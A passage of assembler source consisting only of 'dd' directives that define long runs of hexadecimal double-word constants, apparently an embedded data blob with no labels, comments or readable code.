dd 0C5098490h, 5965ADF5h, 18727974h, 800B00BDh, 4425F8B5h
dd 3728F17Ch, 2E2DCFC6h, 0DF689051h, 1043AA3h, 0A5E82A06h
dd 109E1973h, 769C408h, 0CB78E72Fh, 18938C19h, 31210808h
dd 59C437D3h, 2100074Eh, 0CA657E53h, 0A37C0D16h, 4C1F1004h
dd 4E200A52h, 44D6043Ch, 2C041660h, 5D032C68h, 0A1CED051h
dd 0CBFEDE7Ah, 4519FB16h, 9AD028D1h, 985109D2h, 0D4195479h
dd 1B07E206h, 259EE9F9h, 72C5BE72h, 80B09EA8h, 6A754629h
dd 165C76C4h, 175739E2h, 8C8870FAh, 9EC024DEh, 0B639079Dh
dd 0F10D5068h, 10009DDAh, 42EE6D83h, 4A472C24h, 0B9144015h
dd 0C5B371A6h, 0D3BED704h, 6CE05A61h, 22138CFDh, 73099C8Ah
dd 2C166Eh, 0A88A1A18h, 38575883h, 0D812887Bh, 0E00362DBh
dd 0A0415F9Eh, 96D13A69h, 0E14B8368h, 0CA984799h, 404AFCDCh
dd 9FC89Bh, 40478B4Ah, 0A0003FCBh, 0CCD5371Dh, 125F3DA2h
dd 0A75E74C8h, 0B6A9A080h, 7316122Ah, 0E1A88040h, 0AC045563h
dd 4BE24778h, 71ECE0ACh
dd 7625388Ch, 15DCB93h, 17F012B7h, 6282C8D5h, 2CC8918h
dd 0B8CF3DE9h, 0DCE112A8h, 480C4AC3h, 0D49B06D4h, 173E3007h
dd 0DDEC45B3h, 0C9512E6Eh, 15E18D14h, 83742079h, 60D419C8h
dd 218B3D31h, 94CB381Dh, 98B23293h, 0E43064F2h, 393403D4h
dd 2DD1EA4Ch, 114B7022h, 6E462Bh, 16DA64EDh, 0F8B5A5AEh
dd 0EA8EF803h, 0DB5D2689h, 0F8DF0950h, 418B4D0h, 8C395747h
dd 0ADBD0023h, 0BF4058D4h, 0E31EEA2Eh, 0D844C9E7h, 3880672Fh
dd 0CB36CFC2h, 948F4C99h, 3A76E0DDh, 8821704Ah, 0BE104DE3h
dd 2095F703h, 7E481618h, 47260093h, 4EC6DF2Fh, 0AA75C3E2h
dd 1DF8CD09h, 0DD0700BAh, 9DB375h, 0DFB84C8Ah, 0AB02F3D2h
dd 50F7280Bh, 55F40425h, 0E8C4E4FCh, 7890FDD5h, 4F87DB13h
dd 2A484B0h, 0C0D49DE9h, 48D65B1Bh, 626821D4h, 4251C008h
dd 211748FEh, 44A3C220h, 20F37430h, 0E30B2A54h, 2DA5B48Bh
dd 6FD041E8h, 5C431480h, 443746Eh, 0C12307F0h, 1EFC3900h
dd 6AF23FC7h, 0EA4002A7h, 0EB41B035h, 8E4A0C80h, 2B02E742h
dd 6B3039B1h, 0BF1E00C1h, 6A0EF83Bh, 8FE746B2h, 80EA8FB1h
dd 2FFE3DB5h, 73A7C7Eh, 0F142C31Ch, 7B80491Ah, 0F845B56Ah
dd 4A7E320Ch, 3828F4h, 3FCA36F1h, 37CC33F9h, 0CD2A2C18h
dd 2E8C1940h, 0E4187Eh, 0B76AF540h, 7407F73Fh, 58566168h
dd 6B2C25FEh, 4E860406h, 4BB13E80h, 0C0920A1Fh, 7EA17210h
dd 79C734F1h, 718CB133h, 0DD1DF83Ah, 0E06A1818h, 8A823FCh
dd 1A3EF342h, 18EB05C0h, 381B85C2h, 2887F80h, 0F34BB030h
dd 7F0FCC35h, 50FD79C1h, 0E8831B6Bh, 151343C1h, 993F383Dh
dd 0A1403A83h, 0C929A040h, 0FF173F1Fh, 702C9180h, 0FB4F64C2h
dd 0ED3FB006h, 74E1AC13h, 2F27307Bh, 0CD191C78h, 21113B38h
dd 7EE89092h, 0B2340407h, 51781225h, 1EF3CCA3h, 1829AD1Fh
dd 8EFF8423h, 0CA0C8745h, 834CE43Ch, 42BC5074h, 488BCF51h
dd 0FAD8EB54h, 90445BB0h, 0AD685460h, 4024F481h, 34C0B8CCh
dd 8118676Eh, 3CA0D64h, 1B400BFBh, 3C6A4537h, 48110063h
dd 813B67E0h, 80B96D13h, 4C82E930h, 0A49DEC94h, 513CC46Dh
dd 20752CFFh, 0AFE0608Ch, 0F37CA6A1h, 0D6CF59C2h, 0D5C59A4h
dd 9071F017h, 9696BE58h, 0B77B60D0h, 303DB840h, 81F95109h
dd 5D4A37C0h, 6868EC5Fh, 2E6158DDh, 6860B1B8h, 0B67117B9h
dd 0C344356h, 4AD414D3h, 0E7E194AFh, 0CA230B36h, 230E0359h
dd 0E9A5984h, 0F4434911h, 7D730C61h, 35FC4701h, 70D020F0h
dd 246D5344h, 8F28D6DAh, 8797E8CDh, 0D8518B2Ch, 2F8C04A7h
dd 0A38DDD02h, 0B426A0D0h, 0EB8B886Dh, 0D53CC8E8h, 287260F9h
dd 44AA210Bh, 0F0D3D409h, 0C8ACE859h, 1640A954h, 0F4E7D513h
dd 9AE10067h, 1561D20Fh, 0ACFBC6E5h, 24DB5478h, 0AE9F88Ch
dd 92D0D35Ah, 0F00CBC98h, 0CD883DDEh, 14BE8A7Ch, 0B0ABFA39h
dd 4080DEC2h, 0D53621CAh, 4E74A24h, 1FC44468h, 0DC2A0322h
dd 7029D051h, 2711884Ch, 1F4E40h, 3348A120h, 220441A8h
dd 3F8F031h, 0C390CA9h, 2943862Bh, 1CA1FB22h, 48E01823h
dd 4C24841h, 18F4BA71h, 64448258h, 6041400Ch, 91688B97h
dd 209C283Ch, 4BF02B3Ch, 0E360F896h, 0B356B28Ah, 54C5509Ch
dd 0EC104960h, 4A7A9AD1h, 3D0C7128h, 202C00AEh, 4A34905Ah
dd 0BE300B44h, 48530686h, 0F0EF7978h, 20322BEBh, 1F342866h
dd 383050A3h, 0C136B48Dh, 1208E921h, 0CB0C201Bh, 0CE5EAD1Ah
dd 43DC5E18h, 411E62C6h, 1258DCBh, 1E097920h, 0CD513986h
dd 6D0E5147h, 0C056A47Eh, 0BF2B90B6h, 2D1B009Bh, 4A27A5EAh
dd 50259E68h, 0C0DC6ACFh, 0C449C57Ch, 88E3D2A1h, 6312D880h
dd 0D40C1951h, 80E09Dh, 81369602h, 729B824Fh, 19A8EFh
dd 53284A12h, 449E0404h, 5F561C01h, 96A5F022h, 478BDB00h
dd 6F1FE391h, 0D3380C6Ah, 60093A03h, 0D6EA3300h, 514D7A26h
dd 0A35F481Eh, 98264C47h, 0CF960234h, 0E0916F47h, 919C51F9h
dd 2948862Eh, 40F06CDEh, 0F98976B3h, 0E312502Dh, 0CDD420C6h
dd 0A5736456h, 48C0C7F6h, 0E0C6973Dh, 6080BE84h, 547AA2D2h
dd 5D4FD6E8h, 0E3E578C1h, 219E4ED1h, 0B4630656h, 25097168h
dd 2F6DB6D9h, 244838D8h, 5A3D0302h, 0FB478A28h, 0CC3E710Bh
dd 5CA8E165h, 6FFE210h, 0EE1D461Eh, 474CBB9Eh, 2C16Bh
dd 9B6093D6h, 0A30F8A3Dh, 1052B519h, 11104C40h, 5012A568h
dd 104643D0h, 4510AC69h, 1D10401Bh, 270012D2h, 8B6621D5h
dd 885FB48Ch, 404CDE08h, 74D924A4h, 0A1012042h, 288FFABCh
dd 19718BE8h, 793B72B3h, 20B6E1F7h, 0BFE6DFBEh, 87A40118h
dd 12AB11B0h, 8275212h, 0D281B32Ch, 2233021h, 2C53ED0h
dd 0FA93F5ECh, 4795FDAh, 2159B000h, 97C8D84h, 79550429h
dd 494AF084h, 0C71C2316h, 885945AEh, 118086E1h, 0D038212Ch
dd 5A5C0683h, 0D4872988h, 0D0127C93h, 60585489h, 78D834EDh
dd 4D648121h, 0EB84303Fh, 19791030h, 4E4763D3h, 0B034227Bh
dd 0D21FA878h, 3E82969Eh, 0C1E51831h, 6214BE18h, 38C19214h
dd 0D8304031h, 58A1B4Fh, 0B89275DCh, 0D52C20D7h, 0E302BE7Fh
dd 53E952FDh, 0A3974050h, 27F44E06h, 5B4A101Ch, 9301AD64h
dd 50C7790Dh, 4222FC9h, 21683426h, 4A8E7828h, 94A07343h
dd 5A281D2Dh, 230A2C19h, 0C051B450h, 2F920A85h, 20636882h
dd 515FE45Ah, 48A48C39h, 1C13244Dh, 3330B044h, 98120523h
dd 6C87539Ch, 98321905h, 54F0E467h, 42DF0CA8h, 88902162h
dd 461271C3h, 0BD4C4A5h, 5D4838A2h, 0ABCCB000h, 5CFF8232h
dd 2C8133Fh, 0DF2DB35Eh, 96A1C0C2h, 0B84654C5h, 0AD3A0006h
dd 1ECC076Dh, 0A0BD255Ah, 8C90B200h, 5BA5AF4h, 21E95684h
dd 0BECE5FACh, 0C4060041h, 823572DDh, 0D23B00CFh, 0CB1A342Eh
dd 2500031Dh, 7FDE30CCh, 0F75FB863h, 0BAD0307Fh, 9BE83EA1h
dd 367FEF03h, 98CB1C43h, 0CC21ABh, 94AC3148h, 569DD6Dh
dd 0D4E60F76h, 58F484BFh, 5AF82B41h, 290A2EB1h, 2C004CD2h
dd 6B53C5DFh, 73402F48h, 303ABC48h, 9D77F800h, 5B9B9FD5h
dd 92900022h, 0E28936A4h, 0DD2AD43Bh, 2C3A8854h, 8ADE85B1h
dd 0EC08AD29h, 0D0B396D1h, 4214E594h, 0EE0B400h, 0AD97021Ch
dd 0FC90798h, 0A0B33A4Dh, 0B08F2979h, 5503F9E2h, 0C99C2493h
dd 38213D14h, 1787E43Dh, 50A6B2F2h, 4B2F8F8Dh, 0A0F7CA00h
dd 0B332292Bh, 0BB540EC0h, 1E8001DDh, 63B917ABh, 0D1EB4301h
dd 4926DBF8h, 0C8945080h, 563B88C3h, 4CFDB500h, 16AB0F34h
dd 3CA60E1Ah, 0A92C809Bh, 27053A20h, 0DC6D9D1Fh, 46372038h
dd 4DB20327h, 0F1BCC6Dh, 0FD9FF7C1h, 5CB19580h, 93A9CB7h
dd 2123355Dh, 0A3FDA980h, 5136074Fh, 40C90783h, 0E976566Ch
dd 34DC3900h, 4D17B32Ah, 2FA10022h, 44977AEBh, 0E5037082h
dd 0FE5A0E73h, 0F88ED3A8h, 0E896A367h, 0BBA7005Ch, 0BE3D41C1h
dd 4C54B9DDh, 0BC19DE8Ch, 49801C75h, 6F109DD0h, 930060B7h
dd 29A189DFh, 3CE8D00Ch, 0C0880934h, 89EC7321h, 8AFA8D4Eh
dd 0D2983B68h, 4A1B421Eh, 0A5EDC0D0h, 0D3E301F7h, 0CC1B98A4h
dd 0E5088C7Ch, 0F0A2038h, 0A3B0F76Eh, 0DDEFC420h, 0A80CC1F9h
dd 992D2A2Eh, 46B110B3h, 0AFDE1FF2h, 2A181A18h, 9CFCA06Dh
dd 262840F3h, 9060C82Ah, 35C1B40Ch, 0E33489C6h, 5D9A1983h
dd 0D831DE5h, 830BADD8h, 563A7E0Ah, 4674D89Eh, 33397920h
dd 30616034h, 9EB96Ah
dd 7BE97705h, 60A9FCC4h, 8A1BC626h, 9683F800h, 18433367h
dd 3931D327h, 2807D969h, 0E2606CD2h, 0B59764C1h, 48489FF1h
dd 29B898ADh, 1148C195h, 0A5CE0021h, 7E81D0FDh, 0F0AF4114h
dd 89F45CB2h, 8B12A002h, 83FC88F4h, 4401B39Bh, 8C48DC39h
dd 0B9F79704h, 0D76294D4h, 0F7A00820h, 9D533F8Dh, 0B2491230h
dd 0D600D5D7h, 5A9684C2h, 502A0CC1h, 48266038h, 0B0086486h
dd 3CAA4FD4h, 0B91E9746h, 0C029448Ah, 208632E9h, 0F489DE75h
dd 417DFF05h, 4006332Ah, 1C14834h, 0C13B6296h, 42F8B5B6h
dd 0A4306AECh, 953B28FDh, 9EA485A0h, 0EAFD40D7h, 0B0E7AA01h
dd 0B901327Ch, 424CEBAh, 1422B57Ch, 0C4CF8F1h, 50E7003Bh
dd 3E7D344Fh, 9B03FBACh, 0CCE641D2h, 0B58BA9h, 379CB3E1h
dd 0EA8DE408h, 10F8BD14h, 94123D0h, 1405F7A2h, 0E0D0626Ch
dd 0F76B0B20h, 3E1574DBh, 0DD807144h, 35FC986Dh, 0C91927F3h
dd 9470B412h, 5434C830h, 1D5AC83Eh, 0C1A05B40h, 0B948F050h
dd 66089878h, 7457D21h, 58A39D5Bh, 0ACFD2033h, 2926A71Ah
dd 2643D430h, 0B8A950D2h, 0ACEC0C51h, 36E18410h, 0FD48BB00h
dd 0ABCF8670h, 0D8E40094h, 5DA4ADD2h, 9C073C73h, 0E2510B87h
dd 79DA8EF0h, 0DDA80726h, 0A01CBB7Fh, 0B33C8540h, 614460A7h
dd 4E514160h, 2449FD01h, 3A1D9356h, 0B84BE561h, 0EDC022C8h
dd 0B8F0EE6Ah, 0FCC305FFh, 40D935A4h, 0BF19D8C4h, 0E6007667h
dd 40376AE3h, 0ECD4536h, 0E4A45A6Ch, 0A6A772CEh, 0DCF0D3B5h
dd 488437A1h, 790777A4h, 0B49519B1h, 38198CC6h, 0E054CA9Ah
dd 0B3E003Ch, 9D55FE8Dh, 0A800EE2Bh, 318EADBCh, 58E69336h
dd 0CB019451h, 0C809AABh, 28686487h, 3AA0154Ch, 0C292064h
dd 4768E4CBh, 0AE540130h, 91032C84h, 0FD72730h, 323B99D0h
dd 6B9E90DFh, 37A006A2h, 2033F859h, 7B8E4D07h, 200A99E7h
dd 8C2E9C70h, 614E3402h, 0B3DEB493h, 0AE5BA9E4h, 0E20DDh
dd 0EB5B3B6Fh, 1857C114h, 0B8A8603Ah, 17408711h, 99150095h
dd 1D5C789Ch, 0BD007AABh, 70E2525Fh, 4DDCCD1h, 352A6F1Fh
dd 4720C813h, 77064F88h, 46970044h, 8183AE3Dh, 8B1993DCh
dd 0B361AC16h, 0C2340441h, 6AADF850h, 111C0083h, 0C9E29D5Dh
dd 920B97FAh, 0A5935FC8h, 89073514h, 55C3AB12h, 0DD1CB9B3h
dd 530040BCh, 40D22F90h, 0DE152DB4h, 11DC11C4h, 0AE1F8F38h
dd 738689Bh, 5816B492h, 9920CC7Ch, 4E50C91Bh, 8AD4C898h
dd 8F5D03A0h, 0BB955529h, 496941E0h, 9100A479h, 0FCBC09Bh
dd 45FFD2h, 0F43236C4h, 298EDD66h, 0B34BCA0Ah, 0B11844E5h
dd 30D2BD51h, 0F23142AFh, 0C87958A9h, 5B180C1h, 0D420D779h
dd 7EC1F994h, 35371882h, 5101DF81h, 0D18947C8h, 41004C6Bh
dd 7817A0CCh, 94B1D829h, 0DD02380Ah, 0B4DE161Ch, 834EDD0Bh
dd 0A9C8A85Ch, 70BE2F23h, 0D4408A7Fh, 44E51011h, 0D68A84CCh
dd 0E8C0AD08h, 18B7F134h, 60917A4Eh, 56CCC0C3h, 0B30C4549h
dd 29C696B4h, 16B844CDh, 84729844h, 0D9895A7Fh, 84BA7017h
dd 680026E9h, 395CC21h, 0F62CC1h, 470964CFh, 0F369FF42h
dd 9CF29700h, 7D92134Ch, 349E05ABh, 3540E53h, 26F19FABh
dd 647A1B98h, 0DB2E6800h, 537822CBh, 9B053ED5h, 7B6D9080h
dd 0D9120788h, 30207200h, 0D8DA132Ch, 7CC603D3h, 0A4512D0Bh
dd 0AA23291Fh, 40A0724Eh, 21C2EA1Dh, 86D50039h, 7094CDDAh
dd 0DF44DCEh, 0F87BEE00h, 7CF628Eh, 1F2900E1h, 0DEA4A164h
dd 5B00CD37h, 0A003BC54h, 65E771h, 6AB542C6h, 0B4C1AE67h
dd 3E849700h, 4683DCD4h, 0B35400E4h, 0AD0B5395h, 0B71C5267h
dd 2B018A24h, 0E7C2B17Ch, 489CE434h, 701EE8C3h, 52FC81EDh
dd 0F8978748h, 90FA1BB5h, 0DAC60B1Eh, 47EABD00h, 897A1Ah
dd 2BD7FBE6h, 0C93A5A75h, 99392800h, 45CD190Dh, 0DA7100B9h
dd 979A82A1h, 0F50A51C3h, 9414BAC0h, 0BF909F00h, 44521A0Ch
dd 1D0C0479h, 11C3B7B9h, 99BC0765h, 0E19DB475h, 707C5516h
dd 40549A9Ch, 800A4BCh, 881324BEh, 35A1145h, 59E86948h
dd 9AE08F75h, 0E4E96F5Fh, 78006470h, 0E3F48388h, 9A36E62Ch
dd 0AAF70090h, 0C79A6639h, 7700C65Ch, 13C55774h, 54DA9E8Fh
dd 745AE8BCh, 5F3300BAh, 0D3F814B9h, 7005D54h, 769B421Dh
dd 0A3AFBh, 716837F9h, 9ACB7013h, 0C6336507h, 69E0E01Ch
dd 0FEB9078h, 0FDF91B32h, 0F3D802A0h, 4006675h, 7AA2CF60h
dd 48732A88h, 74006B8Bh, 0FA3EB5D5h, 5C009452h, 0A2F69912h
dd 0FF04F13h, 0FF37AE05h, 715EA320h, 0B50C3820h, 48D6E591h
dd 0C5D5093Fh, 1382900Bh, 3A41A2A6h, 930CE801h, 398F9600h
dd 9F490B63h, 294B007Eh, 0ED4F721Ah, 5000B6E3h, 9597B7EAh
dd 0A99BFDEh, 98E85EEFh, 357300BCh, 114A2164h, 844C8300h
dd 7C1D0D1Bh, 80F3127Ah, 8B200353h, 0F9D889D8h, 0F4F203EBh
dd 0DDE91A00h, 0B618BF3Ch, 0FC260080h, 98584628h, 86008CF2h
dd 0DA6E4130h, 3A6D275h, 0B57BF18Fh, 67815DAAh, 6F28304Bh
dd 7AC71D00h, 2635F21Bh, 0AEC84CBDh, 0E72B5D00h, 4813F059h
dd 35CFC1Ch, 56F27580h, 269416B9h, 651739h, 0D3577897h
dd 47003D85h, 1525ED5Fh, 946F2Bh, 9BC3DEBAh, 8EBEE289h
dd 0C704B7E2h, 0A137C890h, 2520E480h, 64E34852h, 0C4068800h
dd 0C84C70Dh, 12B3E04Ch, 60077DB4h, 2322C931h, 0BD20408Ch
dd 78AA07C1h, 57DEB743h, 2E6770ACh, 0D4003975h, 0B3252917h
dd 597D8C90h, 0E00070A3h, 0C4A6976Fh, 487934D8h, 0E8D44300h
dd 8777A1F6h, 11F70064h, 5E9F826h, 36006E83h, 944023A8h
dd 3AEC147h, 8D64E4F5h, 11901C55h, 0CC90BF02h, 0E7BD5D08h
dd 80658296h, 0BC495BDCh, 992CF4A6h, 3F1AF900h, 28129BC0h
dd 0D5B03FB2h, 0D2795C80h, 334FE606h, 5DEB3Eh, 0B4ADB53Bh
dd 0E81A9C75h, 8B8A01D0h, 0C29E2CE2h, 2FB4201Dh, 0A0C9BF2Ah
dd 7A4BDE00h, 622A708Eh, 176726FAh, 87C4800Ch, 0C511CB85h
dd 0F2208303h, 984D651Ah, 20314EEh, 0C93E76A5h, 6C08B43h
dd 86003B8Eh, 0EC40A028h, 191D546h, 390CF0DBh, 307DCBCFh
dd 0BF389A31h, 3626FA53h, 0F50400CDh, 0A8001C3Ch, 80950AE9h
dd 2EBC7638h, 0F900E316h, 0CF845971h, 0C0240087h, 79E636DAh
dd 0A818AAA3h, 0A9280437h, 3F127C45h, 0B502CFEAh, 0C3214206h
dd 433A3C58h, 0E44D09E9h, 81A000CDh, 18EFA24h, 2D5AF720h
dd 0FBBC60C4h, 0F4C02FC1h, 0ED003396h, 4B153899h, 72D647h
dd 5277DBADh, 98F30CA2h, 7F542448h, 0E18E0500h, 925A9DC5h
dd 0A0B85550h, 0D337CCh, 9846D9BFh, 0E3242F9Fh, 0DE006492h
dd 53D1C003h, 7ECDD30h, 3225B786h, 0D7473E46h, 0E209A0ABh
dd 9D0066F2h, 6CEB349Ah, 195B81Ah, 354F5860h, 0EC8027EDh
dd 5B0120E0h, 5E6AD67h, 0EC40380Bh, 23D1DDh, 7BD6887Dh
dd 0BF2D633Fh, 60FB2603h, 1E31A737h, 93BAA29h, 38004017h
dd 0DD193AE2h, 0B5216A0Fh, 0BC222A83h, 80037A09h, 7D98CDA4h
dd 2F4F0055h, 1171F3E6h, 0B7F21201h, 0EE33E507h, 8B5592Eh
dd 0E9DBE00h, 87CEE9h, 7A3B26Bh, 4E83251h, 0EC024F74h
dd 186AF730h, 0C3844098h, 5190084h, 0FD978E9Ch, 748D5CDh
dd 0D2E207D8h, 0CEBD36h, 0FB0913ABh, 3BFCBACEh, 0E3002C34h
dd 84709507h, 0F00EF6Bh, 0AE5B4B24h, 3B2A8C2h, 434C624Eh
dd 21B88F52h, 940E2FF1h, 0C0DC9380h, 0D17031E1h, 0A1750640h
dd 90BD9DE5h, 230A0900h
dd 1B6B595Bh, 38A300CCh, 414A13E3h, 2B00F20Fh, 0C827D6BCh
dd 1331AD3h, 427328CBh, 0D0A70BBDh, 2400BA5Dh, 0F7DD18A2h
dd 76865409h, 6CB9C2BFh, 68C835C2h, 0E2120A83h, 0A8D0D9B1h
dd 20D5ACFh, 4B89437Ah, 86866E8h, 0F20BEA93h, 200157DBh
dd 52C2A6BCh, 0AD400966h, 8CC8DA3Ch, 46008D8Ah, 455CA196h
dd 0FA53ACC5h, 49B60299h, 4BB48F54h, 4CB165C0h, 0BE93550Fh
dd 0B792A081h, 0A02476h, 0A3287AC3h, 0B4CE7DC2h, 58552630h
dd 1E9884D4h, 0F0A436AFh, 0E1974C10h, 310ED306h, 1381494Eh
dd 97B806CCh, 0A4E90074h, 0F6E82829h, 0DEFC5200h, 0D93F4549h
dd 0CE3D005Ch, 0AE7506CBh, 363FF143h, 98B18F48h, 973C84FBh
dd 73E444E4h, 18334CB4h, 0FB80B105h, 391CA481h, 0FA95EA0Fh
dd 0A37019A5h, 484350F5h, 0E7A805D2h, 0AB518D3h, 18101028h
dd 33E368D6h, 0F9B0857Ch, 0A5008773h, 3130DDA4h, 3757Fh
dd 0CBB70784h, 2EFD4A0Fh, 6C346D13h, 609A4082h, 5CE91Eh
dd 0B601C1B2h, 0B5F4F020h, 8B9DC60Ch, 90902941h, 2746399Eh
dd 43CA558Ah, 5EC90CAFh, 1A0583C9h, 85A9DE28h, 2332A04Eh
dd 0E372B5F5h, 0F28898D2h, 9B56278Bh, 0BC7FC803h, 9A840FC5h
dd 806C5184h, 17B2E94Bh, 0C9144E18h, 2DA3A08h, 0B3343FD6h
dd 444BED32h, 0B1046046h, 302D5511h, 1147E511h, 0E111BBDAh
dd 9DB9119Eh, 113FA611h, 0A074BD9Ch, 899BDA14h, 4D6411C2h
dd 0A2C06AF9h, 0AD0B0085h, 4CABE678h, 4A0736DBh, 0E997C3E0h
dd 26695380h, 0C98612E2h, 6340C0C6h, 8800C722h, 4D36C307h
dd 4CBD0F37h, 1F00DC19h, 0D5BAB1E4h, 0A5006894h, 0C246CAD6h
dd 481A50ADh, 800B89Ch, 6A26F6CFh, 0E14CB135h, 4D5800ECh
dd 6184273Bh, 4922E1Fh, 1FFF3CA4h, 15BC3F32h, 1C099049h
dd 0DC20911Bh, 0DBEB6ED3h, 3400CAE6h, 59C5A04Eh, 3D98B9EEh
dd 2FAACA7h, 0D7AB21BEh, 40604553h, 2900F57Fh, 0B38EA8F1h
dd 1851400Fh, 60390BABh, 384DC1EBh, 656A0020h, 0C88BFB4h
dd 0D59A07CEh, 877AC5F6h, 0CC427083h, 1D009351h, 30F51F08h
dd 0F72B18h, 5F231CE7h, 0DA72A624h, 16B5BF00h, 0FC9B3B6Dh
dd 7BDE0040h, 0A32AE8FFh, 0E313C51Eh, 2801BE42h, 73DF0C2Ch
dd 21289850h, 57BB00A5h, 59C6422Dh, 23012A4Ah, 83AE8D7Ah
dd 0B2E8A877h, 93DF3F76h, 12FE0180h, 7EABD232h, 7F7C0300h
dd 172858DDh, 0FC5F2CC8h, 0E437001Fh, 0DB155085h, 5A1E6EF4h
dd 60400749h, 61B6B07Dh, 0AB160FC6h, 0AA062F2h, 0E41B7B90h
dd 0B4D15224h, 0C014B81h, 838F57Ah, 2691B200h, 82AFDE31h
dd 6D11A400h, 68F5D947h, 40CE1818h, 0CD9E2866h, 0B3CBA001h
dd 2E67E609h, 4C4AEAECh, 6E00D2AAh, 24C00FF9h, 9C003AC4h
dd 44334511h, 87D2A4h, 9D262FE1h, 0B45940A3h, 8B57BE01h
dd 2CB03C29h, 0FEC060h, 3DD4D265h, 8F2EF718h, 0CE988300h
dd 3B09E2F4h, 730E080h, 0A6DB527h, 98B8502Bh, 3500C652h
dd 8AB320C4h, 0BE2E8862h, 0ABB40334h, 15C86323h, 0EB0004F0h
dd 0CB9F906Eh, 0F4303DDh, 0E2CD3328h, 0FD2C500h, 711CA232h
dd 130014AFh, 0B462725Dh, 0C25000FBh, 1E6521F5h, 0DA027091h
dd 5FA28A89h, 4D2460D3h, 90454955h, 86150538h, 0A602ACF9h
dd 9BE32A95h, 0BED7CE8h, 96034C92h, 3FAE7094h, 53E2C8A9h
dd 2704B850h, 0C8307854h, 6B0F3D20h, 26E9B826h, 21C985h
dd 0FD52CA33h, 0C88A765Bh, 7F945A18h, 8099BA69h, 402E45EDh
dd 1880BCC6h, 7D6BD567h, 3E0E981Ah, 0A83BB9E0h, 10BB1Dh
dd 0CE15EE68h, 30004B93h, 5BD91A71h, 2D6736h, 0A80F01E1h
dd 0DB516B15h, 0EC00C6EEh, 335C5DA7h, 0F6071ABh, 3D0F39B5h
dd 8C114AA0h, 794A12BDh, 0EC00AC16h, 8A2FDBF7h, 0CC37015Bh
dd 6C973B28h, 0E6660B5h, 590079EAh, 0E8757D76h, 0E355F9E0h
dd 0EB15474h, 13963921h, 25D1D6E0h, 0EC5CA53Eh, 3D1670C0h
dd 0E400469Ch, 0CB85FE2Bh, 5DE00008h, 14F81758h, 86004375h
dd 0C95B031Eh, 3E1D36E7h, 0E3D0CE7Eh, 89B4C29h, 31AD5400h
dd 47BC02E6h, 0EDE00498h, 0EF27301h, 6F92134Dh, 2240B231h
dd 906225C8h, 0F9450076h, 6B0A88CAh, 12000B81h, 6DC6AAF1h
dd 12ACFD20h, 0A776DCh, 9049361Fh, 0F81EC92Dh, 31CF2CE2h
dd 0DF230169h, 0BDFC5D8Bh, 0B2630005h, 59AEC1E1h, 8F007DEDh
dd 30DCCC9Eh, 395D8AE0h, 0F100066Bh, 0F56EA409h, 4A0041C2h
dd 297A81BBh, 0FE9ADF7h, 4EDD82D2h, 0C1B74004h, 0C4A56304h
dd 6B3BEFD8h, 2BBE17h, 6CD343BAh, 3F9CF953h, 840013C0h
dd 0E771D48Bh, 5000FAE5h, 0F44E8647h, 6196575h, 392A68ABh
dd 0C10031FBh, 8ED3FA2Dh, 3027A60h, 0FC242151h, 45E8CFCAh
dd 0CD012F2Ah, 9D9FF176h, 65F4346Eh, 0AEEEFBh, 209870A9h
dd 4CEA444Fh, 0FF00A671h, 0BC75F5D8h, 16F81Eh, 6B6C69Ch
dd 0DFAF5802h, 4F25E801h, 0B0457D46h, 0B98B864h, 71F7C9BEh
dd 7810F88Bh, 90241B10h, 0EB0E9483h, 4425810Fh, 0A820DA4Ah
dd 106E241Dh, 5C8980C4h, 0B60D31BDh, 0BE472C16h, 1F1C3000h
dd 5DB0DBh, 0FC60032Ah, 0FB19C70Ah, 5CAFD700h, 0E2070F6h
dd 0FE32741Fh, 0AD51044Ah, 0B010F59Ch, 670F16D8h, 40B26470h
dd 9054C052h, 0F41E1DB3h, 9784403Dh, 0F3E0F0CFh, 6FED0503h
dd 0D0CEA089h, 204B2Bh, 0DE1C93Ah, 4A7E6A9Bh, 0FDC66B09h
dd 887800E9h, 30223B5h, 0EB38D740h, 0FBB0E209h, 7302961Fh
dd 2E683731h, 20E14070h, 69FCDAh, 0C619852h, 39674A2Dh
dd 6A142103h, 0A8172646h, 765E7Eh, 0B1A33809h, 62863A88h
dd 0AF87BA04h, 14E0FFB4h, 5F051327h, 8E350031h, 0EE3055D3h
dd 12F5720Eh, 7CA8407Fh, 0EFB1E0h, 0AA0EB48Ah, 47AE113Fh
dd 4C6EA103h, 0F8D17EEAh, 994EE8Bh, 5E84D7E0h, 0EBA2B40Eh
dd 0D0527671h, 82A7F03Eh, 98A4BEDEh, 747AE1h, 0BD6391BFh
dd 0BB6193D6h, 0AE3F50BAh, 0B55B80D2h, 0CC5EBED3h, 72C30059h
dd 77C662C0h, 0B304A646h, 3D969DCBh, 0A3B91090h, 0D8BA10h
dd 3F5D018Eh, 325CF195h, 8801B094h, 7AA4B4FBh, 0B02430BCh
dd 0DD9F007Bh, 1BCBF223h, 1845E900h, 0B95531F1h, 0A6803FD5h
dd 389D5680h, 11E8897Bh, 0DCF5BC1Ch, 95996240h, 299835h
dd 2F6CA55Ah, 0F8BBE928h, 0F0ED44A1h, 0F0051F9h, 0C3B4332Ah
dd 3E3CE9h, 34310CA7h, 0AB9C55B5h, 0F2533A28h, 20A3F029h
dd 5CD99200h, 28369546h, 540CEBBCh, 0AF7C9Ch, 13A0F060h
dd 3A41453Bh, 15240500h, 817AA90Fh, 0EAA61E62h, 0D842C7ACh
dd 2F378084h, 0F8043B56h, 82119593h, 0C845BC93h, 0B76A57h
dd 255380EFh, 70FA3EC7h, 30003C7Bh, 8EA3FEB8h, 18CC4B2Fh
dd 38CBFDFBh, 900F829Fh, 81B16602h, 0F7A2AC12h, 0C09AF560h
dd 4C4E17B1h, 5005E34h, 0A5C143FFh, 0A01C2B29h, 1FBD3D68h
dd 17E10C80h, 10E201E6h, 0CC87C68Ah, 0DC4A3541h, 202DE00Eh
dd 0FC9E1C52h, 33F007B2h, 0C1329C81h, 0E8BE7DCBh, 5C003196h
dd 0EB7B43CFh, 4B8F9DDh, 0C9BB4C95h, 8008BC10h, 0E645F62Ch
dd 9BCA0F32h, 9ADD3558h, 9BC1B14Ch, 1FB8BC12h, 0DB00642Fh
dd 0FBE50FFEh, 0E9801FC4h, 0EBA980F0h, 372D1B14h, 9F5E3AC1h
dd 0FC0C146h, 23D700B2h, 0CDE29401h, 0A300ED28h, 97B00721h
dd 0D2E53Bh, 2324BE77h, 0ADF31F78h, 30C060E6h, 0B7B109A0h
dd 523F1DCDh, 40EE1CABh, 313214C2h, 0F2CC3AAh, 0E0008334h
dd 0B9E1B429h, 56460099h
dd 0A368F36Fh, 0B700C3BCh, 0F1FC695Ah, 32B916h, 29CF4706h
